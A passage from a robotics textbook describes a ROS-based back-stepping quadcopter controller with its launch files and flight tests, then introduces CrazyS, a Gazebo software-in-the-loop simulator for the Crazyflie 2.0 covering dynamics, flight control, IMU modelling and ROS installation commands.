the Setpoints.cfg file. In this way, we will see the ‘setpoints’ section in the
Graphical User Interface (GUI) invoked by executing the rqt_reconfigure
command. Every time a reference is modified, the node packs all four references in
an array of floats that is sent through the sp_topic. Through a launch file, we can
set the start-up values.

We use the keyboard node as an emergency stop for the system. When this node
is run, a small window with a black background will appear. It is necessary that this
window is focused for the keyboard node to catch events. Basically, the node listens
to keyboards events so whenever a ‘keyup’ event is detected, the program publishes a
message in the keyup topic. This message is listened by the set-points node, which
in turn toggles the value of a boolean variable that is communicated through the
es_topic. The message type is std_msgs/Bool, and for security, the start-up
message value is false by default.

The position controller is in charge of computing the virtual control vector.
This node subscribes to both topics published by the set-points node, sp_topic
and es_topic. In the former, it receives four values but uses only three corre-
sponding to the position references. In the latter, it receives a boolean variable that
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Fig. 7 Dynamic reconfiguration allows to change the set-points and the controllers parameters

enables the publication of the controller output. Also, this node is subscribed to the
vicon/odro/odro topic, from which we obtain the position of the drone as mea-
sured by the Vicon motion capture system. The node loop frequency can be changed
with a launch file and is independent of the MoCap measurement frequency. The
virtual control vector is published on the pos_topic as a FloatList of three
elements. The dynamic reconfigure server allows changing the controller parameters
at runtime as shown in Fig. 7. Definitions of the reconfigure server for this node can
be found in the Controller.cfg file.

Similarly to the position node, the attitude node subscribes to the set-point node
topics. In addition, it subscribes to the position topic. This node calculates the thrust
and the torque vector that the rotors must produce to follow the high-level references.
Thus, the attitude node publishes a four element FloatList to the att_topic
when it is enabled. The publication frequency of this node cannot be changed and is
the same as the frequency of the orientation sensor. The dynamic reconfigure server
for this node is called with the definitions in the Controller.cfg file.

The mixer node is the implementation of the input matrix with clamping con-
ditions. It subscribes to the attitude topic and to the keyboard node. Every time a
message from the attitude node is received, the mixer node computes the signals that
must be sent to the ESCs. It is important to note that this node was designed to be
executed on a single-board computer with at least one I2C port available. As is, we do
not recommend to run this node on a personal computer. Dynamic reconfiguration
allows adjusting the thrust and moment constants. Definitions for the reconfigure
server for this node are given in the Mixer.cfg file.

Lastly, the lpms package provides a node to communicate with a particular
orientation sensor, which will be described in the next section. This package makes
use of the Linux library implemented by the company that sells the sensor. In detail,
the sensor can be configured to output several numbers, including the Euler angles,
unit quaternion, rotation matrix, or raw data. We programmed the IMU node to deliver
a FloatList containing the Euler angles in radians over the angles topic.
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Now, let us review the launch files. The launch fileground_station.launch
has the following structure:

1 <launch >
2 <node name="keyboard_node" pkg="keyboard" type="

keyboard" output="screen" />
3 <node name="setpoints_node" pkg="controller" type

="setpoints" output="screen" >
4 <remap from="keyup" to="/keyboard_node/keyup"

/>
5 </node >
6 <node pkg="vicon_bridge" type="vicon_bridge" name

="vicon" output="screen">
7 <param name="stream_mode" value="ClientPull"

type="str" />
8 <param name="datastream_hostport" value="

192.168.10.1:801" type="str" />
9 <param name="tf_ref_frame_id" value="/world"

type="str" />
10 </node >
11 <node name="position_node" pkg="controller" type=

"position" output="screen" >
12 <param name="Kr1" value="1.6532" />
13 <param name="Kr2" value="1.5982" />
14 <param name="Kr3" value="2.5763" />
15 <param name="Kv1" value="1.6532" />
16 <param name="Kv2" value="1.5982" />
17 <param name="Kv3" value="2.5763" />
18 <param name="x_upper_limit" value="1.75" />
19 <param name="x_lower_limit" value=" -1.75" />
20 <param name="y_upper_limit" value="1.75" />
21 <param name="y_lower_limit" value=" -1.75" />
22 <param name="frequency" value="20" />
23 <remap from="state" to="/vicon/odro/odro" />
24 <remap from="position_enable" to="/

general_enable" />
25 </node >
26 <node name="rqt_reconfigure" pkg="rqt_reconfigure

" type="rqt_reconfigure" />
27 </launch >

Lines 2–10 will launch the keyboard, the set-points, and the Vicon nodes. Once
it is launched, the keyboard node will open a window where the input is received.
Lines 11–25 will start the position controller and contains information about the
gains, saturation limits, and the loop frequency. The mass of the vehicle can also be
configured from the launch file. Line 26 simply start the rqt_reconfigureGUI.
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The structure of the onboard.launch file is the following:

1 <launch >

2 <node pkg="lpms" type="lpms_node" name="

lpms_sensor" output="screen">

3 <param name="mac_addr_device" value="00:04:3E:9

F:E1:47"/>
4 </node>

5 <node name="attitude_node" pkg="controller" type="

attitude" output="screen" >

6 <param name="Ke1" value="5.3904" />
7 <param name="Ke2" value="5.4973" />

8 <param name="Ke3" value="1.0129" />
9 <param name="Ko1" value="2.5" />

10 <param name="Ko2" value="2.5" />

11 <param name="Ko3" value="0.7826" />
12 <param name="thrust_upper_limit" value="8" />

13 <param name="thrust_lower_limit" value=" -8" />
14 <remap from="state" to="/angles" />

15 <remap from="attitude_enable" to="/
general_enable" />

16 </node >

17 <node name="mixer_node" pkg="controller" type="
mixer" output="screen" launch -prefix="sudo -E">

18 <remap from="mixer_enable" to="/general_enable"
/>

19 </node >

20 </launch >

Lines 2–4 launch the IMU node that will talk to a particular Bluetooth MAC
address. Lines 5–16 will start the attitude controller and configure its parameters.
For this node, besides the mass, the user can configure the vehicle’s three moments
of inertia about the body axes. Finally, lines 17–19 start the mixer node in superuser
mode since it requires talking to an I2C device.

With respect to the optimization procedure, the user may customize the parameters
of the quadcopter in the MATLAB files. These parameters are located within the
funQR1.m file. The statistical properties of the random number generators and the
parameters of the filters can be found on the RandNumGen.m file.

6.4 Experimental Results

To validate the controller performance, we track a step function in the position set-
points. The ground station side is running on a laptop with an Intel Core i7-4710HQ
processor and 8 GB of RAM. An external MoCap system Vicon Vantage [38] is
used as the position sensor; the MoCap system frequency was configured to 100 Hz,
and the frequency of the position node to 20 Hz. The onboard side is running on an
Odroid XU4 (Ubuntu 16.04 without preemption and ROS Kinetic Kame) mounted
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Fig. 8 Communication/computation structure for flight tests

Fig. 9 Experimental performance of the tuned back-stepping controller: position (left) and Euler
angles (right). The set-points were set to (xref , yref , zref ,ψref ) = (0, 0, 0.4, 0)

over an F450 frame. An LPMS-B2 IMU is used as the orientation sensor running at
200 Hz. The Odroid is connected to a 4-channel bidirectional logic level converter (to
step-up the 1.8V Odroid bus reference to 5V), then to an 8-channel PWM controller
(to allow the control of the four motors through only two cables), and finally to the
SimonK ESCs. To supply the power, we tethered the quadcopter with two cables: the
cable of the Odroid AC adapter and the cable of a DC power supply for the motors.
Figure 8 we provide a representation of the communication structure. Figure 9 shows
the controller performance. Multimedia material of our work is available at https://
youtu.be/0TJL2RcKGfI.
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Fig. 10 Simulation results of the optimized back-stepping controller with similar initial conditions
and same set-points as in Fig. 9: position (left) and Euler angles (right)

We first tested the optimization results in a test stand. Then, we fine-tuned the
control parameters. Though the mathematical model used in the optimization pro-
cedure is nonlinear, it still a simplified description of the real system. Nevertheless,
the optimization results do accelerate the fine-tuning process. In the tests, we noted
that applying the same gains as the simulation caused the real platform to oscillate
rapidly. This behavior is expected since the mathematical model does not take into
account the actuator dynamics. By knowing this detail, we found that by lowering
only the angular-velocity-related parameters a satisfactory control can be achieved.
For comparison purposes, we plotted in Fig. 10 the simulation results of the optimized
controller with similar initial conditions and identical set-points of the experiment.
The experimental results follow the tendency of the simulation results with major
differences in the behavior of the z-position and the yaw angle. These discrepancies
can be further explained by the presence of power cables (as seen in the video) and
actuator saturation.

7 Conclusion

In this chapter, we described a procedure for the optimization of controllers using
stochastic test signals. We used a conjugate gradient-based algorithm in order to
numerically estimate gradients of a cost function in the controller parameter space and
iteratively choose a set of parameters to minimize the cost function. Additionally, the
introduction of stochastic test signals allowed enhancing of the optimization results.
A controller derived with the back-stepping technique is used as a case study. The
ROS package that includes the back-stepping controller was presented. Finally, the
optimized controller was evaluated in simulations and experimentally on a custom-
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made quadcopter platform. The presented optimization procedure is available as
MATLAB files and the controller as open source ROS package.
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CrazyS: A Software-in-the-Loop

Simulation Platform for the Crazyflie 2.0

Nano-Quadcopter

Giuseppe Silano and Luigi Iannelli

Abstract This chapter proposes a typical use case dealing with the physical simu-
lation of autonomous robots (specifically, quadrotors) and their interfacing through
ROS (Robot Operating System). In particular, we propose CrazyS, an extension of the
ROS package RotorS, aimed to modeling, developing and integrating the Crazyflie
2.0 nano-quadcopter in the physics based simulation environment Gazebo. Such
simulation platform allows to understand quickly the behavior of the flight control
system by comparing and evaluating different indoor and outdoor scenarios, with a
details level quite close to reality. The proposed extension, running on Kinetic Kame
ROS version but fully compatible with the Indigo Igloo one, expands the RotorS
capabilities by considering the Crazyflie 2.0 physical model, its flight control system
and the Crazyflie’s on-board IMU, as well. A simple case study has been considered
in order to show how the package works and how the dynamical model interacts
with the control architecture of the quadcopter. The contribution can be also con-
sidered as a reference guide for expanding the RotorS functionalities in the UAVs
field, by facilitating the integration of new aircrafts. We rel5,eased the software as
open-source code, thus making it available for scientific and educational activities.

Keywords Software-in-the-loop simulation · Virtual reality · UAV · Crazyflie
2.0 · ROS · Gazebo · RotorS · Robotics System Toolbox · Continuous integration

1 Introduction

Unmanned Aerial Vehicles (UAVs), although originally designed and developed for
defense and military purposes (e.g., aerial attacks or military air covering), dur-
ing recent years gained an increasing interest and attention related to the civilian
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use. Nowadays, UAVs are employed for several tasks and services like surveying
and mapping [1], for rescue operations in disasters [2, 3], for spatial information
acquisition, buildings inspection [4, 5], data collection from inaccessible areas, geo-
physics exploration [6, 7], traffic monitoring [8], animal protection [9], agricultural
crops and monitoring [10], manipulation and transportation or navigation purposes
[11, 12].

Many existing algorithms for the autonomous control [13, 14] and navigation
[15, 16] are provided in the literature, but it is particularly difficult to make the
UAVs able to work autonomously in constrained and unknown environments or
also indoor. Thus, it follows the need for tools that allow to understand what it
happens when some new applications are going to be developed in unknown or critical
situations. Simulation is one of such helpful tools, widely used in robotics [17–19],
and whose main benefits are costs and time savings, enabling not only to create
various scenarios, but also to study and to carry out complex missions that might be
time consuming and risky in the real world. Finally, bugs and mistakes in simulation
cost nothing: it is possible to crash a vehicle virtually several times and thereby getting
a better understanding of implemented methods under various conditions. To this
aim, simulation environments are very important for fast prototyping and educational
purposes. Indeed, they are able to manage the complexity and heterogeneity of the
hardware and the applications, to promote the integration of new technologies, to
simplify the software design, to hide the complexity of low-level communication [20].

Different solutions, typically based on external robotic simulators such as Gazebo
[21], V-REP [22], Webots [23], AirSim [24], MORSE [25], are available to this
purpose. They employ recent advances in computation and graphics (e.g., the AirSim
photorealistic environment [15]) in order to simulate physical phenomena (gravity,
magnetism, atmospheric conditions) and perception (e.g., providing sensor models)
in such a way that the environment realistically reflects the actual world. Definitely, it
comes out that complete software platforms able to test control algorithms for UAVs
in a simulated 3D environment are becoming more and more important.

In this tutorial chapter, the Micro Aerial Vehicles (MAVs) simulation framework
RotorS1 [28] has been employed as a base for proposing CrazyS, a software package
for modeling, developing and integrating the dynamics and the control architecture
of the nano-quadcopter Crazyflie 2.0 [26] (Fig. 1) in the Gazebo simulator.

Our work may be considered the answer to impelling needs of many researchers
working on Crazyflie that ask for a simulator specific for such nano-quadrotor plat-
form, as clearly stated in [29, Sect. 9.5]. At the same time, the chapter can be seen
as a reference guide for expanding functionalities of RotorS and facilitating the inte-
gration of new vehicles equipped with both on-board sensors and control systems. In
addition, the contribution aims to highlight how the development of control strate-
gies may be facilitated allowing performance evaluation in a scenario quite close
to reality, thanks to software-in-the-loop (SITL) simulation methodologies (see [30]
for a general overview and [31, 32] for mechatronics and UAV applications).

1Together with Hector Quadrotor [27], RotorS is among the most used platforms for simulating a
multi-rotor in Gazebo through ROS middleware.

akoubaa@coins-lab.org



CrazyS: A Software-in-the-Loop Simulation Platform for the Crazyflie … 83

Fig. 1 The Crazyflie 2.0
nano-quadcopter. Retrieved
from [26]. Copyright 2018
by Bitcraze AB

The chosen aircraft, the Crazyflie 2.0, is available on the market at a price of
less than $200 and it is ideal for many research areas (e.g., large swarm [33], teth-
ered flight [34], path planning [35], mixed reality [36], education [37], disturbances
rejection [38], etc.). The source code and the hardware are open, making it possible
to go through any part of the system for complete control and full flexibility. New
hardware and sensors can be linked through the versatile expansion ports, enabling
the addition of the latest sensors. The small size and light weight reduce the need for
safety equipment and increase the productivity. For all such reasons, it appears valu-
able to have a detailed flexible simulator of the Crazyflie dynamic behavior, with the
possibility of validating in an easy way the effects of modifying the control architec-
ture for achieving complex missions. We published the software as open-source [39]
and at the same time we opened a pull request [40] on RotorS repository with the
aim to share our result with other researchers who already use such tools and would
like to use the platform. However this chapter may help also those researchers, as
control engineers, that are familiar with UAV applications and software-in-the-loop
simulation concepts but have no experience with Gazebo and ROS.

The chapter is organized as follows. First, we briefly describe the quadcopter
dynamical model and its flight control system, i.e., the architecture of the Crazyflie’s
low level control system. Then we model the on-board sensors, i.e., the Inertial Mea-
surement Unit (IMU MPU–9250 [41]) in order to develop a simulation platform as
close as possible to the real system. The entire procedure followed to bring datasheet
values to the simulation environment will be explained in detail by describing the
mathematical models and the related specifications. A further part will deal with
the complementary filter, i.e., the default Crazyflie state estimator, that has been
implemented in CrazyS according to the 2018.01.1 firmware release of the aircraft.
After that we demonstrate how to download and to use the CrazyS ROS package
by providing step by step instructions on how to proceed, by taking into account all
software pre-requisites and dependencies (see Sect. 3.1).

At this point we give a complete overview of the simulation environment. Starting
from a RotorS example, it is here described how CrazyS is structured for taking, as
command signals, the yaw rate ψ̇c, the pitch angle θc, the roll angle φc and the thrust
(actually, it denotes the desired rotors speed Ωc). Such commands correspond to the
inputs (references) of the on-board low level control in the Crazyflie 2.0 architecture
(see Sect. 3.2).
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We show how to use the MathWorks® Robotics System Toolbox (RST) to build-up
a simulation platform in which control strategies are implemented through Simulink
schemes, i.e., the usual tools that control engineers are familiar with. The RST allows
to run Simulink schemes and to interface them to Gazebo that is in charge of sim-
ulating the detailed aircraft physical model (Sect. 3.4.1). Then, control strategies
will be implemented in C++ code thus achieving a complete software-in-the-loop
simulation platform based on ROS and Gazebo (see Sect. 3.4.2). Finally, it will be
described how to configure a Continuous Integration (CI) infrastructure, by propos-
ing a solution to link the open-source platform TravisCI with the CrazyS repository.
Advantages related to the use of CI system when developing ROS packages are
described in Sect. 3.5. Conclusions close the chapter.

2 Crazyflie 2.0 Nano-Quadcopter

In this section, we describe the quadcopter physical model and how the simulator
works. Moreover the flight control system architecture is presented together with
the on-board sensors model. Contents of this section are inspired by our previous
work [42] but are here reviewed and explored in detail.

2.1 Dynamical Model

The design of a suitable position controller for the quadcopter exploits an accu-
rate dynamical model. As the usual approach in the literature, we introduce two
orthonormal frames: the fixed-frame OFI (where FI stands for Fixed Inertial), also
called inertial (or reference) frame, and the body-frame OABC (where ABC stands
for Aircraft Body Center) that is fixed in the aircraft center of gravity and oriented
along the aircraft main directions (so defining its attitude), see Fig. 2.

According to [43], the forces (Eqs. (1) and (2)) and the momentum (Eqs. (3)
and (4)) equations can be derived. Such model consists of twelve differential equa-
tions for the system dynamics and four algebraic equations describing the relations
between inputs (forces and momenta) to the system and rotor velocities (Eqs. (5)
and (6)).
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ẏd

żd
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Fig. 2 Crazyflie in the
body-frame (OABC) and the
fixed-frame (OFI) reference
system. Forces, spin
directions and the propellers
angular velocity ωi of each
rotor are depicted
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The body-frame orientation is described through the Euler angles φd , θd and ψd ,
defined according to the ZY X convention [44] and it can be computed by considering
that the rotation matrix R(φd , θd , ψd) allows to convert a vector expressed in the
fixed-frame to a vector expressed in the OABC body-frame. Thus, Eq. (1) relates the
linear velocities of the aircraft in the OABC frame, i.e.,

(

ud vd wd

)⊤
, to the linear

velocities of the aircraft in the fixed frame, denoted by
(

ẋd ẏd żd

)⊤
, through the

inverse matrix R(φd , θd , ψd)
−1 = R(φd , θd , ψd)

⊤ . Whereas, by considering the time
derivative of R(φd , θd , ψd), the angular velocities of the aircraft in the OFI frame are
related to the corresponding velocities expressed in the body frame through Eq. (4),
where c•, s• and t• denote cos(•), sin(•) and tan(•) functions, respectively.

Conversely, the remaining six equations (Eqs. (2) and (3)) describe the UAV linear
and angular accelerations in the OABC frame. The diagonal matrix J has the inertia
of the body about the x , y and z-axis, respectively, while m is the total mass of the
quadcopter and g the gravitational constant.
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Table 1 Crazyflie 2.0 parameter values according to the MAV model employed in RotorS

Entries Sym. Value Unit

Motor_constant CT 1.28192 · 10−8 kg m rad−2

Moment_constant CM 5.964552 · 10−3 kg m2 rad−2

Rotor_drag_coefficient CD 8.06428 · 10−5 kg rad−1

Rolling_moment_coefficient CR 1 · 10−6 kg m rad−1

The system inputs are reported in Eqs. (5) and (6), where ω1, ω2, ω3 and ω4

represent the rotors angular velocities expressed in rad s−1:
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Finally, d is the distance of the propellers from the center of gravity while CT and
CM are the rotor thrust and rotor moment constants, respectively [28]. By increasing
or decreasing uniformly the propellers speed it causes an altitude change, while by
varying the speed ω1 and ω4 (or the pair ω2 and ω3 with the opposite effect) it causes
the aircraft to tilt about the y-axis, i.e., the pitch angle θd . Similarly, by varying the
speeds ω1 and ω2 (or the pair ω3 and ω4) it causes the aircraft to tilt about the x-axis,
i.e., the roll angle φd . Finally, the vector sum of the reaction moment produced by the
speed of the pair ω1 and ω3 and the reaction moment produced by the speed of ω2 and
ω4 will cause the quadcopter to spin about its z-axis, i.e., modifying the yaw angle
ψd . Further details are given in [43, 45] while the parameter values of the Crazyflie
have been taken from the repository [46] by the same research group of [29].

According to the MAV model employed in RotorS [28], Table 1 summarizes
the drone parameter values reported in the crazyflie2.xacro file and used to
describe the aircraft dynamics with the corresponding entries.

2.2 Flight Control System

In order to illustrate how to apply SITL testing methodologies to UAV design, we
consider a common architecture of a flight control system for controlling the position
of a quadrotor, so as illustrated in [43]. We have a “reference generator” that takes
the position to reach (xr , yr and zr ) and the desired yaw angle ψr and generates
the command signals (θc, φc, Ωc and ψ̇c) that are inputs for the on-board control
architecture of the Crazyflie. Figure 3 describes the overall system while Figs. 4 and 5
describe the reference generator and the on-board control architecture, respectively.
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Fig. 3 The control scheme. Subscript c refers to commands, r to references, d indicates the actual
drone variables and k indicates the sensors and data fusion outputs when the Crazyflie’s state
estimator is in the loop (when it is not, they are replaced by the values coming from the odometry)

In the event that the desired position is not available (it should be published on the
ROS topic command/trajectory), the drone maintains its previous pose until the next
waypoint.

2.2.1 Reference Generator

The reference generator uses drone measurements, in particular the drone position
(xd , yd and zd ) and its body-frame velocity (ud , vd ), and the estimated orientation
along z-axis (i.e., the yaw ψk) to compute the command signals (θc, φc, Ωc and
ψ̇c). In real indoor applications the drone position and velocity come from a motion
capture system (MoCap), such as Vicon [47], Optitrack [48] or Qualisys [49]. Here,
for simplicity we modeled such data coming from an ideal (no bias and no noise)
virtual odometry sensor in the simulation environment. However the platform allows
to model also typical measurement data coming from such systems, without much
difficulty.

As described by the overall scheme in Fig. 4, the reference generator computes
the desired attitude (θc and φc), the yaw rate (ψ̇c) and thrust (Ωc) commands for the
Crazyflie, later used as references for the on-board control system. Such command
signals are limited as summarized in Table 2.

The thrust is expressed directly as a pulse with modulation (PWM) signal (a 16
bit unsigned integer), and obtained by the sum of two terms: the feedforward term
ωe = 6874 corresponding to the hovering condition (perfect horizontal attitude and
propellers velocities that counteracts the gravity force) and the feedback term ∆ωe.
The reference signals xe and ye (see Fig. 4) are computed as:

xe = (xr − xd) cos(ψk) + (yr − yd) sin(ψk) (7a)

ye = (yr − yd) cos(ψk) − (xr − xd) sin(ψk). (7b)

Such signals are employed as setpoints for the velocities body-frame ud and vd ,
respectively. As explained in [43], the logic behind such choice consists in the fact
that bigger is the error faster the quadcopter should move in order to arrive at the
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Fig. 4 The reference generator scheme. The obtained heuristic PID gains are: K Pψ̇c
= 0.0914,

K PΩc
= 70, K IΩc

= 3.15, K DΩc
= 373, K Pθc

= 3.59, K Iθc
= 5.73, K Pφc

= −3.59 and K Iφc
=

−5.73

Table 2 Physical constraints of the Crazyflie 2.0 nano-quadcopter

Sym. Unit Output limit

Roll command φc rad [−π/6, π/6]
Pitch command θc rad [−π/6, π/6]
Yaw rate command ψ̇c rad s−1 [−1.11π, 1.11π ]
Thrust command Ωc UINT16 [5156, 8163]

desired point. Instead, when the error is small, the drone is close to the desired point
and the setpoint for the velocity should be also small.

2.2.2 On-Board Control System

The on-board control is decomposed into two parts: the attitude and the rate controller,
both illustrated in Fig. 5. They work together in a cascaded control structure. As
commonly implemented in such structures, the inner loop needs to regulate at a rate
faster than the outer. In this case, the attitude controller runs at 250 Hz while the rate
controller runs at 500 Hz.
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Fig. 5 On-board control architecture of the Crazyflie 2.0, release 2018.01.1. The obtained heuris-
tic gains are: K Ppc

= 0.0611, K Ipc
= 0.0349, K Pqc

= 0.0611, K Iqc
= 0.0349, K P∆φmc

= 1000,
K P∆θmc

= 1000, K P∆ψmc
= 1000 and K I∆ψmc

= 95.683

We considered the on-board control architecture existing in the firmware release,2

the 2018.01.1. The same software architecture has been followed also to integrate the
complementary filter (see Sect. 2.3.1), the default Crazyflie state estimator. Starting
from the accelerometer and gyroscope data, the filter allows to estimate the attitude
(φk , θk and ψk) and the angular velocities (pk , qk and rk) used by the on-board control
loop also managing the sensors’ bias and noise terms. All controller parameter values
are provided in the file controller_crazyflie2.yaml and they can be easily
modified as explained in Sect. 3.4.2.

Finally, we modeled the actuators dynamics (see Fig. 5) by considering the rela-
tionship between the PWM signals sent to the motors and the actual propellers speed,
so as explained in [50],

ωi =
π

30

(

α · PW Mi + q
)

, (8)

where α = 0.2685 and q = 4070.3. The PWM signals are computed according to
the rate controller outputs ∆φmc, ∆θmc and ∆ψmc, i.e., the total variations from the
equilibrium, and the thrust command Ωmc (that, in particular, corresponds to Ωc):

⎧

⎪

⎪

⎨

⎪

⎪

⎩

PW M1 = Ωmc − ∆θmc/2 − ∆φmc/2 − ∆ψmc

PW M2 = Ωmc + ∆θmc/2 − ∆φmc/2 + ∆ψmc

PW M3 = Ωmc + ∆θmc/2 + ∆φmc/2 − ∆ψmc

PW M4 = Ωmc − ∆θmc/2 + ∆φmc/2 + ∆ψmc.

(9)

2Of course that has been possible thanks to the fact that Crazyflie firmware is open-source.
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Usually, a DC motor can be characterized as a first order transfer function, but
in our application a well approximated behavior assumes that the transient is fast
enough and that it will not cause much delay in the system.

2.3 State Estimation

One of the key elements enabling stable and robust UAV flights is an accurate knowl-
edge of the state of the aircraft. In CrazyS, as well as in RotorS, such information
can be directly provided by an (ideal) odometry sensor. This means that position,
orientation, linear and angular velocities of the Crazyflie come from Gazebo plugins.3

As mentioned before, the odometry sensor has been used only to know the posi-
tion and the linear velocity of the vehicle. Conversely, the drone orientation and
angular velocity have been obtained by using the default Crazyflie state estimator:
the complementary filter. Nevertheless, with the aim of highlighting the flexibility
of the simulation platform (it is quite easy to move from a simulation scenario to
another), we compared the outputs of the complementary filter with the ideal case
(see Sect. 3.4.2) where position, orientation, angular and linear velocities come from
the odometry sensor (without noise and bias). Therefore, in this section we will give
an overview of how the filter works (further details can be found in [51]) and how
to model and integrate the IMU measurements in Gazebo starting from the sensor
datasheet values.

2.3.1 Complementary Filter

The Kalman filter is a well known and established solution for combining sensors
data into navigation-ready data, although its nonlinear version is difficult to apply
with low-cost and high-noise sensors [52]. Moreover also Extended Kalman filter
(EKF) techniques might give unsatisfactory results [53] and accurate calibration for
gyroscope offsets, noise and other constants, might be needed to properly implement
Kalman filtering. On the other hand, complementary filters, that are not model based
techniques, are not well-suited for high-risk applications like space or unmanned
missions. However, compared to Kalman filtering, the complementary filter is less
computationally intensive, requires less calibration and more readily performs on
small, low-power processing hardware. In practice that technique is ideal for small,
low-cost aircrafts as the Crazyflie 2.0. Thus, a complementary filter has been imple-
mented in CrazyS. Nevertheless, a Kalman filter solution can be investigated and
implemented in order to evaluate the trade off between precision and computational

3Such data can be easily processed by adding noise and bias terms when required, as explained
in [28].
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burden. The modular structure of CrazyS allows to replace the complementary filter
with another estimator (e.g., Luenberger observer, EKF, particle filter, etc.), in easy
way.

The key idea behind the complementary filter is to use the information coming
from the gyroscope (that is precise and not susceptible to external forces), and data
from the accelerometers (they have no drift). In particular, the on-board comple-
mentary filter of the Crazyflie follows the implementation of Madgwick’s IMU and
AHRS (Attitude and Heading Reference Systems) algorithms [51].

Among its advantages, the filter allows a significant reduction in the computational
load, guarantees good performances and eliminates the need for a predefinition of
the magnetic field direction.

2.3.2 IMU Sensor Model

As explained in [54], we modeled the on-board Crazyflie’s IMU (MPU−9250, [41])
by integrating it in the component_snippets.xacro. The Xacro file [55], that
is a particular eXtensibile Markup Language (XML) file used to generate a more
readable and often shorter XML code, contains all the macros employed to model
the sensors behavior in the Gazebo simulator. The XML tag structure allows to set
properties that are related to the physical features of the IMU, like the measurement
delay, the divisor (it allows to set up the sensor frequency response, see [56]), the
mass or other physical parameters. The macros in such file can be used by any
aircraft in the simulation environment, each one described by using an own xacro
file (crazyflie2_base.xacro, in our case). Such file contains the full list of the
on-board integrated components (IMU, barometer, camera, odometry sensor, etc.).
More details on how they are related to the launch files4 are reported in Sect. 3.3.1.

<xacro:macro name="crazyflie2_imu" params="namespace parent_link">

<xacro:imu_plugin_macro

namespace="${namespace}"
imu_suffix=""
parent_link="${parent_link}"

imu_topic="imu"

measurement_delay="0"

measurement_divisor="1"
mass_imu_sensor="0.00001"
gyroscope_noise_density="0.000175"
gyroscope_random_walk="0.0105"

gyroscope_bias_correlation_time="1000.0"
gyroscope_turn_on_bias_sigma= "0.09"

accelerometer_noise_density="0.003"

accelerometer_random_walk="0.18"

accelerometer_bias_correlation_time="300.0"

4Launch files are very common in ROS to both users and developers. They provide a convenient
way to start up multiple nodes and a master, as well as other initialization requirements such as
setting parameters.
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accelerometer_turn_on_bias_sigma="0.588">

<inertia ixx="0.00001" ixy="0.0" ixz="0.0" iyy="0.00001" iyz="0.0"

izz="0.00001" />

<origin xyz="0 0 0" rpy="0 0 0" />

</xacro:imu_plugin_macro>
</xacro:macro>

Listing 4.1 Crazyflie IMU tag structure

In RotorS (and, thus, in CrazyS), measurements are modeled by two types of sen-
sor errors affecting both the angular rate measurement ω̃ and the linear acceleration
ã, expressed as

ω̃(t) = ω(t) + bω(t) + nω(t) (10a)

ã(t) = a(t) + ba(t) + na(t), (10b)

where n•(t) is an additive noise term that fluctuates very rapidly (the white noise)
and b•(t) is a slowly varying sensor bias. All gyroscope and accelerometer axis mea-
surements are modeled, independently. Table 3 summarizes all the model parameters
that are reported as entries in the Xacro file (see Listing 4.1).

Since the aim of this chapter is to illustrate a SITL simulation platform and its use
rather than simulating a specific hardware component, it is not important for our work
to identify accurately the model of all hardware components and sensors. Instead, we
are interested in getting realistic values for the parameters of the simulated models.
To this aim datasheets are enough for getting values of interest. In particular, the
accelerometer and gyroscope noise densities (the white noise density) have been
easily obtained from the MPU−9250 datasheet, requiring just a scaling due to the
fact that Gazebo uses SI units measurements [57]. On the other hand, the bias part
of the model (the random walk) is rarely specified into datasheets. However it can
be characterized [54, 58, 59] as

Table 3 Summary of the IMU model parameters

Sym. Unit Value

Gyroscope

White noise density nω rad/s/
√

Hz 0.000175

Random walk bω rad/s2/
√

Hz 0.0105

Bias correlation time btω s 1000

Turn on bias sigma bω0 rad/s−1 0.09

Accelerometers

White noise density na m/s2/
√

Hz 0.003

Random walk ba m/s3/
√

Hz 0.18

Bias correlation time bta s 300

Turn on bias sigma ba0 m s−2 0.588
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b• = n•
√

T , (11)

where the parameter n• is the noise density (aka spectral noise density), and T is the
time period over which the idealized white noise process is integrated (one hour, in
our case). Finally, the turn on bias and the bias correlation time refer to the bias value,
originated when the inertial sensor turns on, and its time constant, respectively [60].

As said previously, the above mentioned procedure is independently of a specific
sensor. Thus, it can be employed to model any sensor in the virtual scenario expanding
the functionalities of the simulation framework.

3 Tutorials

This section explains how to use the CrazyS simulation framework with its main
components. The setting-up in Ubuntu, both Trusty (14.04) and Xenial (16.04) dis-
tros, is shown in Sect. 3.1.2. Although the platform is fully compatible with Indigo
Igloo version of ROS and Ubuntu 14.04, such configuration is not recommended
since the ROS support will close in April 2019.

Section 3.2 demonstrates how to put the nano-quadcopter into hovering mode,
with and without the aircraft on-board sensors, and how to attach such sensors to it
(see Sect. 3.3.1). Section 3.3 describes the simulator through the hovering example,
while Sect. 3.4 illustrates how to employ the Robotics System Toolbox for testing
the controller strategy before implementing the corresponding ROS code. The aim
is to show how the controlled system can change its behavior with respect to the
Matlab/Simulink version when tested in an environment closer to the reality like
Gazebo, and how to verify it before writing many lines of C++ or Python code.

3.1 Simulator Setup

Before installing and using CrazyS, it is necessary to install and configure ROS
over a suitable Linux distribution. Although it could be possible to install ROS also
on other platforms (like MacOS), Ubuntu is the recommended operating system
(OS) and its package manager should be used to install all necessary dependencies.
All suggested operations are discussed on the official wiki-pages: see http://wiki.ros.
org/indigo/Installation/Ubuntu or http://wiki.ros.org/kinetic/Installation/Ubuntu for
Indigo Igloo and Kinetic Kame, respectively.

3.1.1 Ubuntu with ROS

In this subsection, for the sake of completeness and practicality, we report the com-
mands for installing ROS Indigo Igloo (see Listing 4.2) and Kinetic Kame (see
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Listing 4.3). Before running such commands it is suggested to give a look at the OS
compatibility in the official ROS wiki-pages mentioned above.

$ sudo sh -c ’echo "deb http://packages.ros.org/ros/
ubuntu $(lsb_release -sc) main" > /etc/apt/sources.
list.d/ros-latest.list’

$ sudo apt-key adv --keyserver hkp://ha.pool.sks-
keyservers.net:80 --recv-key 421
C365BD9FF1F717815A3895523BAEEB01FA116

$ sudo apt-get update
$ sudo apt-get install ros-indigo-desktop-full
$ sudo rosdep init
$ rosdep update
$ echo "source /opt/ros/indigo/setup.bash" >> ∼/.bashrc
$ source ∼/.bashrc
$ sudo apt-get install python-rosinstall

Listing 4.2 Installation instructions - Ubuntu 14.04 with ROS Indigo Igloo

$ sudo sh -c ’echo "deb http://packages.ros.org/ros/
ubuntu $(lsb_release -sc) main" > /etc/apt/sources.
list.d/ros-latest.list’

$ sudo apt-key adv --keyserver hkp://ha.pool.sks-
keyservers.net:80 --recv-key 421
C365BD9FF1F717815A3895523BAEEB01FA116

$ sudo apt-get update
$ sudo apt-get install ros-kinetic-desktop-full
$ sudo rosdep init
$ rosdep update
